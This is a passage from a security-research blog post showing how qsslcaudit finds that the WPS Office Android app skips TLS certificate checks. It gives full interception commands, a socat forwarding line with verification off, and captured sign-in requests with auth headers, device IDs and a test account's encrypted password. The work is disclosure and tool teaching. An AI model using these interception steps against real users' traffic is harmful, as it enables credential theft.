TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV<br /> ALPN: http/1.1</div></div> <p>From the obtained output we can conclude that WPS Office application does not properly verify TLS certificate when connecting to <a rel="noopener noreferrer" target="_blank" href="https://dw-online.ksosoft.com/">https://dw-online.ksosoft.com/</a>. This is certainly a finding as suitably positioned attacker can intercept the connection, steal and alter data in transit. However, its severity depends on what type of traffic is transmitted and how the responses are interpreted by the application. During an assessment this has to be evaluated, but right now we are just demonstrating how to use <code>qsslcaudit</code>.</p> <h3><a id="user-content-shuc-androidksordcom" href="#shuc-androidksordcom" name="shuc-androidksordcom" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>shuc-android.ksord.com</h3> <p><code>qsslcaudit</code> produced the following output:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn shuc-android.ksord.com<br /> preparing selected tests...<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; CVE-2020-0601: no CA certificate provided<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: test for trusting certificate signed by private key with custom curve<br /> <br /> SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019<br /> ...skipping for brevity...<br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | FAILED !!! | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;2 | self-signed certificate for target | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| &nbsp;domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;3 | self-signed certificate for invali | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| d domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;4 | custom certificate for target doma | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| in trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;5 | custom certificate for invalid dom | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| ain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 192.168.12.118<br /> dtls?: false<br /> ssl errors: <br /> ssl conn established?: true<br /> intercepted data: POST / HTTP/1.1<br /> Content-Type: application/x-www-form-urlencoded<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: shuc-android.ksord.com<br /> Content-Length: 3500<br /> <br /> eyJfcCI6 ...skipping for brevity...<br /> received data, bytes: 4172<br /> transmitted data, bytes: 5567<br /> protocol: TLSv1.2<br /> accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV<br /> ALPN: http/1.1<br /> <br /> qsslcaudit version: 0.8.1</div></div> <p>As can be seen, again, the certificates were not validated. The data posted contained even more information about the device used.</p> <h3><a id="user-content-plugin-serverwpscom" href="#plugin-serverwpscom" name="plugin-serverwpscom" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>plugin-server.wps.com</h3> <p><code>qsslcaudit</code> produced the following output:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn plugin-server.wps.com<br /> preparing selected tests...<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; CVE-2020-0601: no CA certificate provided<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: test for trusting certificate signed by private key with custom curve<br /> <br /> SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019<br /> <br /> running test #1: certificate trust test with user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:45530<br /> SSL connection established<br /> socket error: The TLS/SSL connection has been closed (#1)<br /> socket error: The remote host closed the connection (#1)<br /> no unencrypted data received (The remote host closed the connection)<br /> disconnected<br /> report:<br /> HTTPS client did not accept fake certificate without explicit error message<br /> test finished<br /> <br /> <br /> running test #2: certificate trust test with self-signed certificate for user-supplied common name<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:49821<br /> SSL connection established<br /> received data: GET /client/com.wps.ovs.docer/version?appVersion=12.3.5&amp;hostVersion=1005011&amp;pluginVersion=1&amp;deviceId=aaa66681948902838109382338857706 HTTP/1.1<br /> Connection: Keep-Alive<br /> timeStamp: 1582799122<br /> client: com.wps.ovs.docer<br /> sign: be9c6715fef4320438462222ca1ab20f<br /> User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-A310F Build/MMB29K)<br /> Host: plugin-server.wps.com<br /> Accept-Encoding: gzip<br /> <br /> <br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #3: certificate trust test with self-signed certificate for www.example.com<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:35038<br /> SSL connection established<br /> socket error: The TLS/SSL connection has been closed (#1)<br /> socket error: The remote host closed the connection (#1)<br /> no unencrypted data received (The remote host closed the connection)<br /> disconnected<br /> report:<br /> HTTPS client did not accept fake certificate without explicit error message<br /> test finished<br /> <br /> <br /> running test #4: certificate trust test with user-supplied common name signed by user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:56326<br /> SSL connection established<br /> received data: GET /client/com.wps.ovs.docer/version?appVersion=12.3.5&amp;hostVersion=1005011&amp;pluginVersion=1&amp;deviceId=aaa02935789133279734867793581560 HTTP/1.1<br /> Connection: Keep-Alive<br /> timeStamp: 1582799215<br /> client: com.wps.ovs.docer<br /> sign: 08db428254c47e2fd5603fb928fe2d23<br /> User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-A310F Build/MMB29K)<br /> Host: plugin-server.wps.com<br /> Accept-Encoding: gzip<br /> <br /> <br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #5: certificate trust test with www.example.com common name signed by user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:57738<br /> SSL connection established<br /> socket error: The TLS/SSL connection has been closed (#1)<br /> socket error: The remote host closed the connection (#1)<br /> no unencrypted data received (The remote host closed the connection)<br /> disconnected<br /> report:<br /> HTTPS client did not accept fake certificate without explicit error message<br /> test finished<br /> <br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----|------------------------------------|------------|-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;2 | self-signed certificate for target | FAILED !!! | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| &nbsp;domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;3 | self-signed certificate for invali | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| d domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;4 | custom certificate for target doma | FAILED !!! | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| in trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;5 | custom certificate for invalid dom | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 192.168.12.118<br /> dtls?: false<br /> ssl errors: The TLS/SSL connection has been closed The remote host closed the connection<br /> ssl conn established?: true<br /> socket errors ids: 1 1<br /> received data, bytes: 344<br /> transmitted data, bytes: 5583<br /> protocol: TLSv1.2<br /> accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV<br /> SNI: plugin-server.wps.com<br /> ALPN: http/1.1<br /> <br /> qsslcaudit version: 0.8.1</div></div> <p>This result is interesting! Usually the applications we test either trust all certificates or properly verify them. In this case the TLS client trusts all the certificates which are issued to the expected common name.</p> <h3><a id="user-content-accountwpscom" href="#accountwpscom" name="accountwpscom" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>account.wps.com</h3> <p>That is all interesting and already can be (and actually was) reported. But let's intercept more interesting data. During traffic analysis we spotted <code>account.wps.com</code> domain. This is the host that the application uses during the login process. In this case we have to login with WPS account (not Google, Facebook or Dropbox).</p> <p><code>qsslcaudit</code> produced the following output:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn account.wps.com<br /> preparing selected tests...<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; CVE-2020-0601: no CA certificate provided<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: test for trusting certificate signed by private key with custom curve<br /> <br /> SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019<br /> <br /> ...skipped for brevity...<br /> <br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | FAILED !!! | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;2 | self-signed certificate for target | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| &nbsp;domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;3 | self-signed certificate for invali | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| d domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;4 | custom certificate for target doma | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| in trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;5 | custom certificate for invalid dom | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| ain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client</div></div> <p>Nice! But in this case we intercepted only the first connection which does not contain any sensitive information. Let's use <code>qsslcaudit</code>'s functionality to forward intercepted data. Do note that it forwards the traffic **inside** TLS channel. Thus, we additionally have to forward clear-text HTTP towards HTTPS, we used <code>socat</code> for that:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">socat TCP4-LISTEN:6666,fork,reuseaddr openssl:90.84.192.191:443,verify=0</div></div> <p>We also have to select the particular test that allows man-in-the-middle:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests 1 --forward 127.0.0.1:6666 --user-cn account.wps.com<br /> preparing selected tests...<br /> <br /> SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019<br /> <br /> running test #1: certificate trust test with user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:49466<br /> forwarding incoming data to the provided proxy<br /> to get test results, relauch this app without 'forward' option<br /> report:<br /> no data received with socket in incorrect state<br /> test finished<br /> <br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | UNDEF ??? &nbsp;| report this case to develop | <br /> | &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| ers &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 192.168.12.118<br /> dtls?: false<br /> ssl errors: <br /> ssl conn established?: false<br /> intercepted data: GET /api/server_ok HTTP/1.1<br /> Content-MD5: ce1f01765892367a5ab8a74fb89b1773<br /> Device-Name: samsung SM-A310F<br /> host: account.wps.com<br /> X-Platform-Language: en-GB<br /> X-Platform: Android-6.0.1<br /> X-App-Version: 12.3.5<br /> X-Client-Ver: Android-WPS Office-12.3.5<br /> X-App-Name: WPS Office<br /> Device-Type: android<br /> X-App-Channel: en00001<br /> User-Agent: qing/2.2.17 (Android-6.0.1;U;en-GB) Version/12.3.5 App/android-office<br /> Accept-Encoding: gzip<br /> Cookie: wpsua=V1BTVUEvMS4wIChhbmRyb2lkLW9mZmljZToxMi4zLjU7YW5kcm9pZDo2LjAuMTs0ZjA1OTFmYTJkMjU5NDcxZGQ2ZDU2OGU4M2Q5OGQwMTpjMkZ0YzNWdVp5QlRUUzFCTXpFd1JnPT0pc2Ftc3VuZy9TTS1BMzEwRg==<br /> Content-Type: application/json; charset=utf-8<br /> Device-Id: 4f0591fa2d259471dd6d568e83d98d01<br /> Date: Thu, 27 Feb 2020 10:53:01 GMT<br /> X-Sdk-Ver: Android-2.2.17<br /> Accept-Language: en-GB<br /> Authorization: WPS-2:AqY7ik9XQ92tvO7+NlCRvA==:e25c94fd1c2e1d5c8b0658008cf7e210c1499215<br /> Connection: Keep-Alive<br /> <br /> POST /api/signin HTTP/1.1<br /> Content-MD5: 721f38d1c450e936388850c136e8fe2c<br /> Device-Name: samsung SM-A310F<br /> host: account.wps.com<br /> X-Platform-Language: en-GB<br /> X-Platform: Android-6.0.1<br /> X-App-Version: 12.3.5<br /> X-Client-Ver: Android-WPS Office-12.3.5<br /> X-App-Name: WPS Office<br /> Device-Type: android<br /> X-App-Channel: en00001<br /> User-Agent: qing/2.2.17 (Android-6.0.1;U;en-GB) Version/12.3.5 App/android-office<br /> Accept-Encoding: gzip<br /> Cookie: wpsua=V1BTVUEvMS4wIChhbmRyb2lkLW9mZmljZToxMi4zLjU7YW5kcm9pZDo2LjAuMTs0ZjA1OTFmYTJkMjU5NDcxZGQ2ZDU2OGU4M2Q5OGQwMTpjMkZ0YzNWdVp5QlRUUzFCTXpFd1JnPT0pc2Ftc3VuZy9TTS1BMzEwRg==<br /> Content-Type: application/json; charset=utf-8<br /> Device-Id: 4f0591fa2d259471dd6d568e83d98d01<br /> Date: Thu, 27 Feb 2020 10:53:34 GMT<br /> X-Sdk-Ver: Android-2.2.17<br /> Accept-Language: en-GB<br /> Authorization: WPS-2:AqY7ik9XQ92tvO7+NlCRvA==:ad7340f9fa2aeb06fd32f89fcafea42e62d09eeb<br /> Content-Length: 90<br /> Connection: Keep-Alive<br /> <br /> {&quot;account&quot;:&quot;gremwell@gremwell.com&quot;,&quot;password&quot;:&quot;OV-UOIt-L5kzKC2-Pr4j7g==\n&quot;,&quot;encrypt&quot;:true}<br /> received data, bytes: 0<br /> transmitted data, bytes: 0<br /> not a valid TLS/SSL client, 0 byte(s) of raw data received, i.e.:<br /> <br /> qsslcaudit version: 0.8.1</div></div> <p>We were able to intercept the credentials, shown in the last of two intercepted requests. Yes, they are &quot;encrypted&quot;, but as we can intercept all communications, we have all information to decrypt them.</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">{&quot;account&quot;:&quot;gremwell@gremwell.com&quot;,&quot;password&quot;:&quot;OV-UOIt-L5kzKC2-Pr4j7g==\n&quot;,&quot;encrypt&quot;:true}</div></div> <h1><a id="user-content-conclusion" href="#conclusion" name="conclusion" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 